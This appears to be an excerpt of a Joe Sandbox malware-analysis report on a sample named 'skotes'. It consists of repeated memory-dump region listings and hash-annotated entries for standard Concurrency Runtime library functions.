Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 6b90e90ea9f11b4f03237cd3fc291127bec8ab354f351d9e5094ab7078f48c05
Instruction ID: 915a6d79a331ec77dfc0fbba9fae594eda8f4ec02ddcbfc6946796725322d2c8
Opcode Fuzzy Hash: 6b90e90ea9f11b4f03237cd3fc291127bec8ab354f351d9e5094ab7078f48c05
Instruction Fuzzy Hash: 8001DB35600521BFCB157B54DC82F6DB76ABF447157010125FC0497656DF10ECD5A798

Function 00C5EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00C5EE6A
ListArray.LIBCONCRT ref: 00C5EE7C

Part of subcall function 00C5EF29: _InternalDeleteHelper.LIBCONCRT ref: 00C5EF3B

ListArray.LIBCONCRT ref: 00C5EE86
_InternalDeleteHelper.LIBCONCRT ref: 00C5EE9F

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: d35cc86422196a69e4dfc0ac864a5bde865cd83ea3325712c34de7e7abba510b
Instruction ID: ffa3c4895b0af327f3656f92946c050150b6f4428b77a2a40da6d33b54c90634
Opcode Fuzzy Hash: d35cc86422196a69e4dfc0ac864a5bde865cd83ea3325712c34de7e7abba510b
Instruction Fuzzy Hash: E301D635600621AFCB297B60DCC3E6EBB69FF847117010129FC0597651CF60FDAAA6D8

Function 00C5D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00C5D0C5
ListArray.LIBCONCRT ref: 00C5D0D7

Part of subcall function 00C5C6B2: _InternalDeleteHelper.LIBCONCRT ref: 00C5C6C4

ListArray.LIBCONCRT ref: 00C5D0E1
_InternalDeleteHelper.LIBCONCRT ref: 00C5D0FA

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 1d603955a309d666a140a8f4fd94b484423568322eec2f78c70a0ba916fc9ffe
Instruction ID: 7a1b8f2daeedae8092118e8139aff2f980680d0373c9e23fc8e78125eca9e0a9
Opcode Fuzzy Hash: 1d603955a309d666a140a8f4fd94b484423568322eec2f78c70a0ba916fc9ffe
Instruction Fuzzy Hash: 9601D635200621AFCA357B60CDC2E6EB769FF84711B004425FC0297651CF20ACAAA698

Function 00C633C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00C633DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00C633EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00C63407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00C6341F

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 070465aeafae5c5b989f784137aa320322ffc3805301811ad0dbd5f4b4ddad9e
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 1F01D636600554A7CF26EE558891ABFBBA9DF44350F100025FD22AB392DE71EF01A6A0

Function 00C59510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00C59519

Part of subcall function 00C4F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00C55486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 00C5953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00C59550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00C59559

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
